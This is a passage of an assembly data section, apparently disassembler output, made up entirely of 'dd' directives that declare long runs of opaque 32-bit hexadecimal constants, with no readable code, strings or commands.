73C410A3h dd 97E5881Fh, 56CC8196h, 5F5AF854h, 9E9C71ACh, 74DBCA42h dd 669D405Eh, 7B9CD359h, 20B56188h, 3B72FAC2h, 0EA0249E6h dd 15330BAFh, 0A60194E1h, 9F0B896Dh, 84A3CE1Eh, 40681290h dd 0F1BFCC47h, 2A95CDB2h, 0FE094DB5h, 92DF6413h, 1436206Eh dd 5B2E3E98h, 0E62C231h, 825804B9h, 342417BFh, 0E6730304h dd 6451038h, 0ECA3F864h, 3294F79h, 0E96C046Ah, 0CDAAA41Fh dd 23C2584Ah, 0AEE5604Dh, 3BBC2756h, 0C1BFDF81h, 3E042B3Ch dd 0F7E943E9h, 155E013h, 0D174CAC6h, 49BB206Ch, 682EC882h dd 33095E0Fh, 0B3D05202h, 324CEA73h, 0D3FD3013h, 3DDEF65Bh dd 0C2255366h, 0CD293182h, 3DC18390h, 83E91997h, 0BCA46405h dd 65A0D237h, 4D69419Ah, 0B0292058h, 254B6374h, 5E36AE82h dd 0C80F016Dh, 2D31B668h, 1EB48C42h, 52F76288h, 0D23258h dd 800467Fh, 8FCE810Eh, 16662B0Fh, 0A03E6C1h, 8B572C63h dd 73C55258h, 5AB32027h, 9A548D68h, 4CA7201Eh, 0FDF5801Fh dd 0A628ACFBh, 0BE525D17h, 51C45804h, 0F4A6B107h, 206881CEh dd 0ED1770F5h, 9C328868h, 206A842h, 7142FA01h, 59406B92h dd 550423FDh, 0DBF74338h, 0ADE990D1h, 0E726A622h, 28690F8Ch dd 76DAEDDh, 318706EFh, 0DF31D5F7h, 858FD93h, 75242CD7h dd 7C0782ADh, 0BF20FB9h, 319B33F0h, 1CB39430h, 7125F9BEh dd 6054F416h, 61F77753h, 5B2CBA34h, 0E2021D4Fh, 0DC384CB3h dd 13B2C24h, 428D2B36h, 0BF843045h, 13E80C13h, 19288C21h dd 0C823CFDh, 1AAC4A95h, 2D2E1200h, 0E8012E02h, 52D809F2h dd 0D4435E07h, 0B03EC1CBh, 0F5E507F6h, 40C1BCF4h, 0C3482928h dd 444477FFh, 3B727BF1h, 7C7DEAh, 0AFAA21DDh, 4259CA09h dd 0EA56F6F5h, 567F0CB0h, 727B60E4h, 311737D5h, 0D8F8ECC1h dd 0D0451A6Fh, 17081C08h, 89036153h, 881C30C2h, 0F2D5440h dd 45C56F68h, 535DCD44h, 0DA027212h, 0C1232CE8h, 95E3C3FCh dd 5145081Eh, 8CAC08E9h, 3844B927h, 2F96ED0Ch, 0BC5CAB8h dd 1BA62DA4h, 808DE6Ah dd 272F1086h, 4B1BAF57h, 0D14CC9FCh, 327C50DDh, 13F4B013h dd 34D609FBh, 0D5750C85h, 9BEF61Ch, 0D1645568h, 66838383h dd 0CA346918h, 0D6040D7Fh, 1EFD875Bh, 3B5907D9h, 25686C02h dd 0C0067E53h, 814AD130h, 19FDC900h, 0D9F7784Ch, 338A33E9h dd 8CB9D32Bh, 8F80720Ch, 0D5AE9D83h, 44F52F6Bh, 89343D0h dd 0FAF8BAF3h, 0A29CD351h, 0ED8385B0h, 855115A5h, 0C150C6E9h dd 0F304A89h, 0C39D6159h, 90B21D84h, 1088D83Fh, 73637FF2h dd 0C156E12Bh, 0A43CDEBAh, 0E8E6D4E4h, 99E9B127h, 5E26A228h dd 5A120FF3h, 1B2304F3h, 8B0F134Ch, 4105062Ch, 0CA6B010h dd 4426165h, 64097066h, 0D8292A03h, 5808817Eh, 0AC20E83h dd 0C040268h, 177252B3h, 83A06CF8h, 1C9102C7h, 0B2E95F82h dd 51D0E90Dh, 12BFE2A3h, 0B4F40053h, 0E922C06Eh, 0D1193729h dd 0CCD7D06Eh, 7727E921h, 0C858C2B1h, 257ED630h, 78086CA9h dd 15F0407h, 522388C8h, 0E942C5B9h, 0D39EADAAh, 0C15563E1h dd 0F403F325h, 0D81FDFF2h, 4CD02916h, 0AF48305Ah, 8D0B9900h dd 0A7F3810Ah, 23C46513h, 0D803B209h, 7918C139h, 2070951Eh dd 771248D4h, 7741F792h, 4E8835Dh, 324C3D2Eh, 0EB023451h dd 54791BF9h, 2E68EC52h, 0D8F030D6h, 0C2646CE9h, 27B0593Dh dd 0B6A07735h, 0C30832DEh, 0BAF1E763h, 0F2258906h, 0D9F0827Ah dd 716C5A29h, 0FDCD147Ch, 367E8B01h, 0C1C7447h, 2F605D20h dd 0F404EAC1h, 0FE6B806h, 6C2CFCC2h, 3B0A5665h, 0DE59C331h dd 0E33A5548h, 9881B658h, 2C58B31Eh, 2066570h, 0D62AECC2h dd 7FBA4B2Bh, 6C53089Bh, 0DCE98296h, 13B7C45Ch, 0D4E8302Ah dd 50F85E2Bh, 0DD881DE7h, 0DD4B18D2h, 0BF83835Ah, 0D849034Bh dd 0E536866h, 0EE5C5BDAh, 0B2B95100h, 0AA422E3Dh, 6216628Ch dd 0FA0B0905h, 170320A6h, 281D76EEh, 660904F0h, 9EB165Ah dd 0C3866CB3h, 4508AD8Dh, 3BF7BC50h, 4E851A5Bh, 88D5F42Fh dd 0F27AFF4h, 0DF7B06EBh, 0F2293F10h, 0ABE2C898h, 88325EB1h dd 4C59FDCEh, 0D6F627DDh, 860E4E93h, 4BF48850h, 43AD59E7h dd 0FEF8D7F6h, 80775B66h, 84407669h, 18AC9A9Ch, 0E4EB0A7Bh dd 13E1B551h, 68B6B157h, 8B54C7ABh, 0E9A79049h, 27405A61h dd 4B51F97Ch, 0AD66E7A7h, 3EB16C94h, 2F16050Ch, 7E760BE1h dd 4F097D5Ch, 66100242h, 2B4AAB68h, 41DBE5CCh, 598D302Dh dd 5C79A1BCh, 9D844769h, 4300943h, 0AA8028ECh, 4BB05058h dd 38F1FADh, 0A92CD40Ch, 43B61E7Eh, 0B6E92B85h, 0FCEEE9B1h dd 0D1F70919h, 42B36280h, 0E913E010h, 51B36715h, 0F9330D04h dd 0D6418021h, 362CE310h, 2639FDC1h, 75A40E62h, 0ACC5D152h dd 1F648845h, 1414B70Eh, 0DAC94AE9h, 9F12E30h, 0D19E95Ah dd 8FF036C4h, 0FC541540h, 30FE4931h, 6808EF48h, 7526559Fh dd 870A451Ah, 926E9E9Bh, 4029FCF4h, 831CAD6Eh, 0F0F207Fh dd 3CD0F684h, 303859EEh, 720C4557h, 3D4F5C63h, 35187105h dd 17686088h, 14579A7Bh, 4AB2539Dh, 0A4402876h, 2F667726h dd 0E5EAA6E9h, 1EFC9CC8h, 45735B2Eh, 5F211902h, 9E668211h dd 467B226Dh, 0E2B35300h, 5D357AB0h, 8D4B2FD7h, 0E7A56073h dd 4EB96304h, 5784F501h, 0D5CA0812h, 76E95704h, 0E5B0C27h dd 589AA9E4h, 3166623Bh, 2F9BFB69h, 59CBF846h, 636D0FB4h dd 0ADC6315Ah, 88133D67h, 0AAF3872Ch, 0CDE8D14Ah, 0F05F06F1h dd 666B4E22h, 0CC9068FDh, 2737A12Fh, 2DF206BDh, 288FFC2Bh dd 1CD49AF3h, 0FCD0F793h, 296C1696h, 340B30D7h, 96695C9Ch dd 4F8376BEh, 5C830202h, 0D495FE9h, 3804D4BDh, 47BB5103h dd 0FAADD63Bh, 1E83CBDDh, 0FC170F8h, 527F015Dh, 0F067C5FCh dd 0B6C15BAFh, 37AA3474h, 423FDDE9h, 0FC7827A8h, 0B01B5D4h dd 0E9B740D7h, 9D5539CDh, 68C11584h, 277AF32Eh, 2818118Fh dd 0F981F0D8h, 962F5082h, 886489B4h, 0F71D7482h, 8EB7329h dd 1091C82h, 0FFE285DFh, 0C02C1EA8h, 86273CFEh, 38EED348h dd 0B4779804h, 4C2F309h, 0E0028FD3h, 880FFECBh, 0D5E91658h dd 0B1F7E246h, 6553CF67h, 0CE14B552h, 6D4718EBh, 4C5DEB97h dd 5B887153h, 6841DC48h, 493C1AC8h, 515E5482h, 4E097FE0h dd 0C74C1624h, 890D0D19h, 0DFF34430h, 6B26583h, 6FF72E82h dd 7329DDAh, 0D4FA8729h, 715E6C17h, 387F2602h, 4C01D2E9h dd 4A199525h, 0D8AD2254h, 0D19D790h, 0D32D21F0h, 5821200Bh dd 64375ACFh, 6BF073DFh, 639002Bh, 503AF781h, 4F600E9Eh dd 0AF14560Eh, 1C7FA20h, 49880D3Dh, 87658CE9h, 21B5B88Dh dd 0A87D024Bh, 68C00ECEh, 14904665h, 373ED4A0h, 4BF2FB1h dd 29EE0926h, 0D0F1DF80h, 0BC54480Dh, 44E9CA05h, 0EA54D01Bh dd 8827533Ch, 0ECEBE2D3h, 3EF62F7Ch, 1002BE49h, 17CFC681h dd 136D9363h, 0C0C01AFh, 0F82BB210h, 420296C9h, 0A2E93BCAh dd 7A7DC862h, 6A98B55Ch, 8080F9C3h, 68CE48CAh, 42F1632Eh dd 0AD0A55D8h, 3882F29h, 0A5EA31B0h, 96598971h, 0BE171853h dd 0DB5B0255h, 0DC7CE940h, 20D5A049h, 0C69C4642h, 9C14AC16h dd 227200Dh, 0BC049124h, 0BFED10Ch, 0DFC5AD12h, 0CC5A5322h dd 16838F9h, 0BCC6344Fh, 57C1A4D3h, 3D65329Fh, 160C9800h dd 0C7060DAh, 48060A1Dh, 0C4A21290h, 8B35080Ah, 2F62B1E9h dd 0A35A6264h, 0FF761A12h, 81A8B592h, 3C9A0095h, 6C017E5Eh dd 94B6129Dh, 0C5E92A8Ah, 8CBA3EB5h, 8A6E2A1Eh, 88A82425h dd 0BF6F32C4h, 81C04FA6h, 74E7FF6h, 0F031ECC8h, 6E003B5Eh dd 125115EAh, 0C2292502h, 643AE6E9h, 9552EE43h, 0E0D30B0Bh dd 498BD712h, 0C437E917h, 754BDD00h, 0C62588A3h, 14B16CDh dd 8ADA08ACh, 3347703Ah, 37E7C9C4h, 4380BE33h, 0F0B43F3Ah dd 542766C0h, 0E2810137h, 4BC67DE1h, 571B6042h, 386DE5E1h dd 0D27218E8h, 757ABA70h, 30BF7AFBh, 0BB14D994h, 0E81236AAh dd 0C4D04B0Eh, 3B2FB4C3h, 0F3061873h, 0C6E2D38h, 67952FEh dd 397240h, 291DD577h, 0EAC15BDAh, 0F204037Ch, 7BC64FCFh dd 0B9A0FEF8h, 0B7127856h, 8DC73129h, 5F162779h, 0EAD8E099h dd 1A6C7DEBh, 0CCDA011Ah, 8820809h, 3000AA13h, 0F8058C5h dd 0EF20EEF5h, 29782DA9h, 8481493Bh, 65924DBEh, 60CE6FC0h dd 314412ACh, 0C2771CC1h, 0A159A897h, 0E92F5C50h, 5DCD861Ch dd 46C50382h, 4D1F7942h, 2F6369F1h, 52D4CE41h, 0C807D70h dd 23D62CFAh, 0C798F801h, 63BA3B95h, 0F9310A98h, 2ACB87B9h dd 5BAF5D8Ch, 0F18E90A9h, 0F41842AAh, 0DA9E4156h, 15192527h dd 8901E6E1h, 7B082940h, 47BAB198h, 66488ED7h, 0D834953h dd 96010E9Ah, 873C29ABh, 7F45B7F0h, 4CE9C50Dh, 423F43F4h dd 412F689Eh, 6424CCD9h, 0E941CFCAh, 34661059h, 0B0B52348h dd 0C94009A9h, 0CCE1ED56h, 9C0532h, 0B05059E8h, 0B52F510Ch dd 1F0AE969h, 38D1C5CCh, 0A45DE953h, 9D125475h, 27F8B8h dd 2A255F67h, 550E209h, 4B78AF04h, 92C1F7D7h, 4D7D2ED6h dd 464168C3h, 0BF94D27h, 4DE15A59h, 68095554h, 0EB30602Dh dd 0A2B73ADBh, 1EBAB5h, 93130EBFh, 0CC001A5Bh, 61D33751h dd 420A32E9h, 0B0575C22h, 0A414F690h, 0BE38552Bh, 8B41053Fh dd 3C553DEh, 5E3699A3h, 0E6F831B1h, 2F41314Ah, 79DE3642h dd 0EEAE3A24h, 39086D82h, 9277A57h, 3A7E0502h, 79BECD0Fh dd 73DE080h, 5AD629A3h, 0C0E95F12h, 908C12C4h, 4C0E2CF3h dd 7CCE00E5h, 0E9253473h dd 9D064120h, 5E037280h, 680666D6h, 4D107FD1h, 0C17254Ch dd 6EF6944Eh, 2120435Fh, 751068h, 0C15807DDh, 0EE2505E8h dd 64E51E00h, 0B46B2D48h, 89D8267Bh, 0F1A70BC4h, 15EC18C8h dd 0C625B30h, 1A3A148Ah, 0EAC20152h, 3B500809h, 26950C1Bh dd 430685A8h, 134AD18Ch, 0E2C8B60Fh, 0DA21C616h, 0D8312F22h dd 0EEC0EA40h, 124EBE80h, 86AD927h, 974A377Bh, 0CA206B28h dd 165E5AB0h, 30070878h, 93835A3Ch, 89099CD6h, 1F4D5B87h dd 0A434A844h, 227C1565h, 0C9C1515Ah, 78DAAC7Dh, 30A0BCFCh dd 0DEF70706h, 3201EFE5h, 7767F3FBh, 22242EE9h, 9DB70053h dd 28E4EF80h, 88245BFCh, 0A03B11E5h, 309580B2h, 4B372674h dd 208E24AEh, 8C1CC108h, 645F071Eh, 0D65DC982h, 38E10271h dd 0C115B450h, 0F0528B5h, 0C7C742D8h, 537F0E2Ch, 4D4EA05Dh dd 0D0F7950Bh, 71F68255h, 595402B5h, 0C45BE440h, 229C7292h dd 29A72A89h, 4D740E82h, 293E31EBh, 6A4A133h, 10C25244h dd 32FF0353h, 5D550E67h, 25CDC4EBh, 0E46D6D40h, 0E1318E37h dd 4A6450E9h, 2AD39233h, 0DFA4F3Fh, 6AE0E181h, 0D79CF00Ah dd 0C87601F4h, 0E114B85Fh, 5706076Ah, 15D156BFh, 0E1C6471Ch dd 68002AA7h, 1F9726F9h, 1EE90D32h, 763320DFh, 8D3AF828h dd 5296C14Fh, 5EA99D0Ch, 0EC9518A2h, 59C86748h, 35E66814h dd 8EE9C23Bh, 31E90C45h, 690D06DAh, 9C692953h, 5BA65810h dd 0F0FDB0CDh, 80D2C860h, 0F578305Ah, 27C5EF2Ch, 0F69724CFh dd 0A12560B9h, 54985452h, 53356812h, 0E9F055ACh, 0AC40344h dd 0D1E3C828h, 530B2C02h, 0C4D1B0B3h, 51403A37h, 7A88EAB1h dd 30591FCCh, 1781A4E3h, 0F2C2B575h, 0A5ED6BA2h, 0EA49110Ah dd 9FB057F7h, 0A6B5D366h, 133D482h, 70B9515Ah, 6027C611h dd 7B0508E1h, 0CB010622h, 0CDBFCC81h, 558C8704h, 9FA7F368h dd 28AB0B8Ch, 8DF55E21h, 0DC46FCAAh, 0A36096AAh, 38D42261h dd 566802ABh, 54598820h, 1A51668Ah, 0A66BEF04h, 0EF80586Fh dd 4839699Fh, 7C27C517h, 0F75A3C84h, 2086762Bh, 0D1020A7Dh dd 8F6852E2h, 8ACA5931h, 8BCF3E25h, 0CDD1B735h, 0A154568Ah dd 67D65E9Fh, 92B7A057h, 0C942B83Bh, 1F7EDA32h, 0CF7DFAEDh dd 5D89012Bh, 64AD13D9h, 52A8BC52h, 70A4D712h, 0B1108051h dd 209E07E9h, 0CBA4571Eh, 0C96F780Eh, 1EA6F81Ah, 565097E7h dd 1CB90142h, 0F96A0F7Ch, 0FCB944D7h, 0B3CA5B70h, 0B580C85Eh dd 8C2AFB41h, 6C9D5CCAh, 0A4BA2B0Fh, 82521294h, 0D3F354E2h dd 0C9F85045h, 28D31EA4h, 3BCA2A97h, 48E5F6E5h, 924B206h dd 0B0745231h, 0A0B49672h, 80A73157h, 6813BFB5h, 0F1F67252h dd 0F8C06225h, 5B4CFD30h, 18C774FEh, 58B468F9h, 87C411BCh dd 0BD590FF1h, 8F0D57CCh, 489B3CEEh, 8A6FAEh, 5E5C0FA2h dd 0ECE7F089h, 0F49EF20Ah, 0C8FE0880h, 0E4F58851h, 4E5598C6h dd 48E18E2Eh, 71DA308Eh, 0B01B252h, 8B1F280h, 0E0C0C503h dd 0E27534A9h, 90CC045Dh, 617A08E1h, 48B30F9Bh, 0A340E2D8h dd 61010968h, 925046DBh, 7A67D770h, 0C619BF72h, 82E3FA70h dd 51B08F40h, 0A62B8C3Dh, 96B0AFE0h, 19EAC06Eh, 0ACAFE05h dd 0A5944407h, 0C0F5F52Ch, 8F61797h, 94B5AB92h, 0D4EA90CAh dd 1F10D49Bh, 0F7311F4Fh, 1C856453h, 0C45ED6E3h, 1C62EB82h dd 734556CFh, 30EBB4h, 0BC4EE6E9h, 7B5866F4h, 6277B0B0h dd 435819B8h, 8660356h, 0ABE9F15Ah, 2C241EF8h, 7C0E459h dd 0C6D8288Dh, 6816125Bh, 0FC272D3Ch, 0C6A8CA74h, 80BDB7C0h dd 0FE3A37CFh, 1EF782C7h, 4008EFC0h, 90280134h, 0A2049D40h dd 580B83F4h, 51121579h, 0F6178EB5h, 0C55B350Eh, 0F2BDA7F6h dd 0ECD283CEh, 6F109207h, 0E15BC5AEh, 77F9182Dh, 5D276368h dd 0F9D501B1h, 0D7002EF2h, 8A4A9A2Dh, 0D0291451h, 5A3B0705h dd 0EF17DE01h, 7C6DE914h, 5EBD2EB6h, 0E1D52CC5h, 0FA84FFA9h dd 0A1CCCC5Fh, 16418BBFh, 0E91CED18h, 46DF0625h, 0B8EDE522h dd 851F5C55h, 6802ED81h, 967C6D42h, 9415E985h, 3ED1ACE0h dd 0EE714B5Ch, 0DE6C10E9h, 58F08A5Bh, 67623108h, 0E202454h dd 0A756965Fh, 0D5E9B0C0h, 0CB275A9Ch, 397D5F2Dh, 0E3222A50h dd 81A170E2h, 83879899h, 9B29685Bh, 11020373h, 422D6E7Ch dd 97F0504Ah, 109FB16Ch, 4180E953h, 9E3D3066h, 4DB87C17h dd 37AC5984h, 10BA8720h, 3FBD5512h, 57181E04h, 6CCF8780h dd 0BF2B1DB5h, 2C1680C5h, 315BDF29h, 0BFE9CC95h, 0C8CB0B0Fh dd 0DCDA33BBh, 0BD1FD7AEh, 73CF28A8h, 0F5801CFEh, 0B8EDC213h dd 0BC5CFAE9h, 1E596804h, 9A1FB8D8h, 92053CC0h, 2D6B8801h dd 0F201188Bh, 0F698A956h, 0B9FF663Fh, 0A16E0D66h, 20643B78h dd 94A57585h, 16DD9A2Ah, 0F791F9F7h, 0FE00AEF8h, 0C65080CEh dd 0BC4033D0h, 18D405BAh, 0AC01107Ah, 132F205Fh, 0B0DB2C5Bh dd 5762A2E4h, 1B6CB6DBh, 0B5D495C2h, 8230CC69h, 92D1F9ADh dd 58A3F07Ch, 71499BB1h, 0F805E018h, 1B5C455Bh, 25A749C3h dd 0FE86145Fh, 67676A79h, 3E263C0Ch, 20BAD2Eh, 339091F1h dd 441CE913h, 0C3DDF66Eh, 0A3D32959h, 0D34E37BEh, 80588B20h dd 0D7C15FC3h, 0D6825B44h, 0AC0132B5h, 92E00B04h, 2CE993E6h dd 0C089A112h, 27235F8Dh, 7D0CEFFCh, 40F53410h, 6E1D43Fh dd 0C7CFC473h, 4769C058h, 54142D53h, 16C4F281h, 4B015FC9h dd 0BE43B43h, 27D7E9A9h, 574EDFECh, 5DA0A13h, 0FD098C5Ah dd 68454626h, 1B41220Bh, 84F41A31h, 2FD6E4CAh, 0DABB96B0h dd 25FB5C40h, 8CA9D617h, 19669B80h, 5A20D1C9h, 6848028Ah dd 3EA97F0Eh, 0A7F7CB87h, 6D095B15h, 88526B60h, 2025CE4Ch dd 0D8012FEBh, 0D22A34EEh, 329D3146h, 52C3C280h, 6EB04CAh dd 0AD77B817h, 8B084195h, 91666272h, 0D33BD1B4h, 6225CFE2h dd 8B0E0590h, 8E25DEF9h, 385CA9C9h, 5835275Bh, 93DBB345h dd 0E6FD655Bh, 0F7037C6Fh, 2921BB79h, 8A040D3h, 0D4CC30E9h dd 1D4BC14Fh, 2295B5E2h, 2E16EE5h, 0EE655E54h, 0D168A9ADh dd 96E99DE1h, 0ED442907h, 2F7625FBh, 0F9E5538Dh, 5CB6B570h dd 0FA1007CCh, 0DBE98234h, 2DFFA0A8h, 52A6C97h, 63403568h dd 0D872C253h, 5650F9F4h, 72910268h, 8FE97D4Eh, 310EDF54h dd 0B37E4C5h, 0AC0D54EFh, 0D81E9838h, 0A222E5Bh, 0A59855E9h dd 0C7C16062h, 38923DECh, 22A4905Dh, 8018451h, 0B348F9E9h dd 0CC5867C3h, 20E8B5C0h, 2B9DC5D1h, 9916CE3Dh, 0E5AD596Fh dd 2DC7DDDDh, 4A10B924h, 0BBB551C4h, 0EE23DBD2h, 0D7F5054Fh dd 17922947h, 0FD8BF5E2h, 5057341Dh, 726EEBB1h, 59441A56h dd 26B81431h, 5C7CA96h, 73582E6Bh, 3BB79AE0h, 54DC652Dh dd 9314DB25h, 1E3CD32Ch, 0A59E508Ch, 0A72201EDh, 0EE31A96Fh dd 0B791605Dh, 3B301FF0h, 59E91221h, 70B9C9h, 176C04A5h dd 0F736CF87h, 4E7008D1h, 0E9D0522Fh, 38341693h, 58810EB2h dd 11064968h, 0E2070ACAh, 31C028FCh, 668060D2h, 0FBAAC450h dd 0F4CE409Dh, 0A03B727Ah, 728406B8h, 9DE91304h, 0E5DE571Bh dd 7C1CD32h, 0E206E132h, 252A746Ah, 3B289CC5h, 7E25752h dd 9990DA5h, 0ED40E1B5h, 231F2D5Eh, 1370A53h, 90705F8h dd 0B72F69E9h, 8A02CE88h, 0DE136755h, 2C5E04F9h, 0A0CB8116h dd 795B03D5h, 0A451582Ah, 4286B52Eh, 904E0BDh, 7A4404FAh dd 4CA1812h, 7DBA80B2h, 31873209h, 0CA2E7489h, 9580997h dd 0D07308h, 6F063EFDh dd 414E3BE9h, 6809DDA7h, 21302CD4h, 67283099h, 44FEE602h dd 5B8C084Ah, 854818A5h, 0A2AE00Eh, 814E0738h, 821B951h dd 0E1F425FBh, 267518F7h, 10CD0C74h, 0C12B7605h, 0C10B06E9h dd 0A48BE008h, 9783E463h, 520F05C3h, 81F88DFBh, 43E9F129h dd 9040D76Ch, 81BA4075h, 671AF604h, 18ABD9D6h, 0C0E906D2h dd 4A4DAF5Fh, 772A2D2Bh, 424ED297h, 0F287A055h, 0A8C208CFh dd 1A490393h, 24F386Bh, 0B9BB3741h, 2B4C8042h, 0EB31682Fh dd 0CDC905Dh, 1B3E6033h, 0AC414F98h, 1B58A927h, 0AC48D989h dd 641EAFF2h, 29D54315h, 2FB416E2h, 0EEB7187h, 8059C05Eh dd 25E9C8EEh, 0F4F2B9A7h, 8F09FB83h, 8508EBC1h, 0C071CDh dd 0B0D9895Eh, 9BE1071Dh, 0F0774C07h, 8C29E0F1h, 2BDA3060h dd 0B83EA17Eh, 7BAE096Bh, 88E06644h, 0ABB1616Ch, 73585489h dd 0BED70870h, 7F05B14h, 0CB640E6h, 0D653C5C2h, 1FE15374h dd 0B46060Fh, 0B4D7882h, 0E7006070h, 3132B2DEh, 0D6685DEFh dd 99E7F433h, 79100E72h, 2C2A3C29h, 2870B00Ah, 0EE2C2712h dd 7EE71F11h, 0D7940945h, 0E6C39FC9h, 3FF00104h, 20C0411Bh dd 4F0999A9h, 83F70DA6h, 59B76E28h, 0B392BED7h, 0AC7298ADh dd 6FA2676h, 215F028Dh, 0AC8717E5h, 10EAD3B3h, 36F6E000h dd 0FD0123C2h, 3865B556h, 6F3D1983h, 0C3CDF078h, 0FEF9616Bh dd 0F553BEE5h, 4546815Ch, 89B79818h, 97B4B334h, 9FCAFCB3h dd 537F57D8h, 0CB00094Fh, 123F1B2Dh, 0E8011406h, 825B0705h dd 29605100h, 1FB2504Ah, 0F516CF9Eh, 812F99F5h, 0EC08EF2Bh dd 34B41156h, 8B1F33E4h, 0DCE8F944h, 0C95CBDC3h, 48BA19D9h dd 0F2C0F133h, 1DAF9F8Bh, 0D03D9AC5h, 67F5806Ch, 1D85E095h dd 0FE5EC7C0h, 2E153C1h, 9D86F1F9h, 92BD0816h, 8105886Ch dd 28AEF6FDh, 9F6EE813h, 9AF7A616h, 115A480Ah, 53160A20h dd 6A844DB7h, 5DDBD1C2h, 45572B19h, 0E429ACCDh, 2292A3F2h dd 7D58551Ah, 0EFE03BB5h, 0CB88B974h, 9F3FC07h, 0ED47FE1h dd 2D073974h, 0AE81FC5Ah, 183A95E9h, 0D9F6F891h, 5CA9F6C9h dd 1A7D5218h, 7C466270h, 444F1230h, 0EC4627D9h, 890CB205h dd 9B7F8506h, 26BD4395h, 750D4E04h, 61388762h, 206EC750h dd 0B301CDCCh, 521B555Ch, 0C85FBBAh, 0E889E97Bh, 66050100h dd 5661ED1Eh, 1E22280h, 45E96728h, 0C3CA414Ah, 0C8773A12h dd 517A565Dh, 0F7A18F4Eh, 0D9FE0941h, 5501B74h, 3140585Fh dd 0B6C782C7h, 88E9590Bh, 420014E7h, 3238BE56h, 816A0B6Ch dd 5C8590E6h, 0ED058022h, 72097F25h, 585EF229h, 0DAF7268Bh dd 3FC201F0h, 200453F3h, 429DF881h, 88235E59h, 0A528A61Eh dd 3EAF7020h, 5B97E6D1h, 0C3B4E32Ch, 7A0C8268h, 1408BEA3h dd 327DF7ADh, 221B3CD9h, 5417797Ch, 0CBF4CD99h, 0C034C7B8h dd 0E763BEEFh, 0C3B28007h, 274B8076h, 923933F1h, 377643h dd 3826707Bh, 126E94Bh, 76476FE1h, 0BA1B1F30h, 310BC34Ah dd 0DA1058C2h, 0BE4CB9B6h, 0C8118062h, 25950888h, 0F15863D8h dd 277C3D77h, 40754202h, 9F3F963Fh, 2722CAECh, 5687820Fh dd 0A9AF0B71h, 0D3628D56h, 47CF749Bh, 36CDC755h, 52D525Eh dd 46A2D143h, 33B70D15h, 74BBB4F7h, 8A940E0Ch, 129667Fh dd 58E923CFh, 9F9D3AFFh, 4888CB3Eh, 7B005E06h, 8301CBBDh dd 52503247h, 0C24FB42h, 91238324h, 52B17040h, 0F6E8B60Bh dd 85AF74DEh, 2C6FED5h, 0F4881F07h, 30516E56h, 0E91F2C6Eh dd 0F3F14825h, 90688464h, 8B8EA20Ah, 0BD6458Fh, 63E427A8h dd 0F5015E7Fh, 1A5A418h, 8650E821h, 0B65B5453h, 8172527Eh dd 8944094Ah, 0EF8006EDh, 0F574FE4Ah, 0AAC7C4F8h, 0C94B7CEAh dd 16491576h, 0C9A4B45Ch, 0F6098F54h, 0C9213333h, 496EEC41h dd 91E3B491h, 50665397h, 2A28F4C1h, 611F019h, 2AE2E901h dd 0C1852684h, 629988E7h, 605902E2h, 2669D87Dh, 0EBF64556h dd 3EF6581h, 0CE8C7062h, 0EB572F0Bh, 1E3875Ch, 4BBA679Eh dd 0E9C14907h, 0BB363F24h, 0F4941464h, 0A0BC316h, 5098080Bh dd 89501271h, 5F0CF0F8h, 0E918EAF4h, 6896F0A1h, 88234EF6h dd 0CD9757A8h, 2F7DA918h, 2E932C9Ch, 2C15394h, 12BF2279h dd 0EA907542h, 170EA465h, 3C25E9EFh, 58CA5F38h, 0B0408F69h dd 0EFD32D82h, 20C63ECh, 440E3726h, 0C813CF80h, 0DC26AED2h dd 5E09031Eh, 0E99C74DEh, 0C6F64FB2h, 6F30C260h, 2918171Ch dd 82910CAh, 0F16BE912h, 0D1656E27h, 0E9D830BBh, 25B715EDh dd 0A8401F21h, 0DE09ADBFh, 7C290536h, 0BB5F0824h, 50963F0Dh dd 0DCF5D36Bh, 98C2114Ah, 253E7C56h, 0F15A250Bh, 8F81417Ch dd 5B6FDA89h, 983F7C59h, 0F5C95C8Ah, 96771ED0h, 0D8EACBCDh dd 0AF2F0652h, 39048EBh, 217D037Fh, 6C24DB8h, 6BCEF1ECh dd 3254AC0h, 11EC68h, 60F10540h, 0F6351028h, 204A29EAh dd 781F4E0h, 76A96C5h, 58F5B604h, 70017F02h, 68D1F761h dd 1E1FF1E4h, 585B2615h, 43A810E1h, 0E970AB04h, 41F4C485h dd 0F14F58E2h, 0ECC7844Ah, 4F54449h, 312A21E2h, 0D9F0F62Fh dd 50405216h, 8428C7D6h, 1C28D00Ch, 4458BA90h, 0AECC7084h dd 5C294977h, 5717454Ah, 1DF95C5h, 0C521D7A5h, 487D7166h dd 923DB8BAh, 6C29331Ah, 0D758FA06h, 5A0B2033h, 0E695EFE9h dd 4EEE9042h, 68ADCC3Eh, 51489A2Eh, 90C55465h, 431F3080h dd 5F7B7CE6h, 0C22C0F5h, 1A50C92Fh, 5D14CB99h, 2EC454A3h dd 0D0129B30h, 4A96DA00h, 7E017C04h, 841E5EFh, 0A52D565Dh dd 3B1D884h, 3BACCD80h, 0ED1EA806h, 78F5479Eh, 0F80764C0h dd 0F1C50393h, 0F177B353h, 0F3E508CBh, 0AC2706BBh, 87311705h dd 13C61B9Bh, 0C6651E0Bh, 5A6CF0B4h, 0CB65B229h, 0F4188051h dd 215A27Fh, 36917905h, 0A37E89EFh, 5342E101h, 8A4038F4h dd 7CF769F0h, 84EE047Ah, 0EEC7AEE9h, 0E431340Bh, 0CA059A7Ah dd 9A3AF58h, 6E07483Fh, 0E951D107h, 77D73CF0h, 0E15E1B95h dd 5E2EAD19h, 0F1232A2h, 4FDBE0ABh, 0F2333709h, 90445ED3h dd 42D5EA92h, 10347948h, 5A3B94F3h, 4B7B74BCh, 432F54Dh dd 4492413Ah, 6F7AA70Fh, 42511B28h, 0C9B34AB9h, 0FE044D25h dd 63945Dh, 674C2C8Ch, 6B9F017Dh, 0E62E481Ch, 0E90283E2h dd 17FFC5Ah, 0C680E628h, 12E967B0h, 75F9D9F5h, 70A068B0h dd 4216C59Fh, 10D5B375h, 0C9A8EB59h, 977C32C2h, 0C61164EFh dd 403C7FA4h, 36F85BC1h, 0F324BE5Bh, 0F64882B8h, 3D6B925Eh dd 9A68B6ABh, 848E8C1h, 2B502C08h, 0A1550DCCh, 0BA145121h dd 0AAF48056h, 7A66975Fh, 474DD25Bh, 843F6909h, 8E34EF3Bh dd 57E9B34Fh, 0BF66984Ah, 0A69E8ACFh, 6C685E98h, 0F8EF71F6h dd 0E17EB2DDh, 3EEA10D7h, 25485298h, 0C17A8D63h, 436EB1E1h dd 8BEB21EEh, 4A7BCEDDh, 0FD9A28D1h, 54522E8Eh, 0F9F32E6h dd 4E3348C9h, 15429569h, 50FE94D5h, 0BC52675Ch, 